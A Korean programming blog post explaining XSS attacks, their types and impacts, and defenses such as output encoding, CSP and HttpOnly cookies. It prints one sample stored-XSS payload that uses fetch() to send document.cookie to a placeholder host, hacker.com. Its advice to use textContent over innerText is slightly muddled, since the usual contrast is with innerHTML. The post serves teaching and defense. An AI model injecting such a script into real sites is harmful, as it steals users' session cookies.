프로그래머로의 여정

XSS(Cross-Site Scripting) 공격

nunaaa 2025. 6. 14. 19:32

XSS(Cross-Site Scripting) 공격은 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 사용자의 브라우저에서 실행되도록 하는 공격 기법입니다. 주로 사용자 입력을 제대로 검증하거나 필터링하지 않는 사이트에서 발생하며, 공격자가 스크립트를 삽입해 다른 사용자의 세션 정보를 탈취하거나 악의적인 행위를 할 수 있습니다.

XSS 공격의 주요 유형

  1. Reflected XSS (반사형 XSS)
    • 사용자의 입력이 즉시 응답에 포함되어 실행되는 공격 (예: 검색어, URL 파라미터).
    • 피해자가 악성 링크를 클릭하면 공격 스크립트가 실행됩니다.
  2. Stored XSS (저장형 XSS)
    • 악성 스크립트가 서버에 저장되고, 이후 다른 사용자가 해당 페이지를 방문할 때마다 실행됩니다.
    • 예: 게시판, 댓글, 프로필 등에 스크립트를 영구 저장.
  3. DOM-based XSS
    • 서버 측이 아닌 클라이언트 측 JavaScript에서 발생하는 취약점.
    • document.location, innerHTML 등으로 DOM을 조작할 때 악성 코드가 실행됩니다.

XSS 공격의 피해 예시

  • 쿠키/세션 탈취 → 계정 장악
  • 키로깅 (키보드 입력 감지)
  • 피싱 페이지로 리다이렉트
  • 웹 페이지 변조 (Defacing)

XSS 방어 방법

  1. 입력 검증 & 출력 인코딩
    • 사용자 입력 시 <, >, ", ' 등 특수문자를 필터링 (e.g., HTML Entity Encoding).
    • 출력 시 innerText 대신 textContent 사용, 또는 라이브러리(DOMPurify) 활용.
  2. CSP(Content Security Policy) 적용
    • HTTP 헤더에 Content-Security-Policy를 설정해 신뢰할 수 있는 스크립트만 실행되도록 제한.
  3. HttpOnly & Secure 쿠키 사용
    • JavaScript에서 접근 불가능한 HttpOnly 쿠키 설정으로 세션 하이재킹 방지.
  4. 프레임워크의 자체 보안 기능 활용
    • React(dangerouslySetInnerHTML 주의), Vue.js(v-html 주의) 등 현대 프레임워크는 기본적으로 XSS 방어 기능 제공.

예시 코드 (악성 스크립트)

<!-- 공격자가 댓글에 삽입한 스크립트 -->
<script>
  fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>

이 코드가 저장형 XSS로 게시되면, 사용자의 쿠키가 해커 서버로 전송될 수 있습니다.

XSS는 OWASP Top 10에서도 꾸준히 상위권에 오르는 위협이므로, 웹 개발 시 반드시 방어 조치가 필요합니다.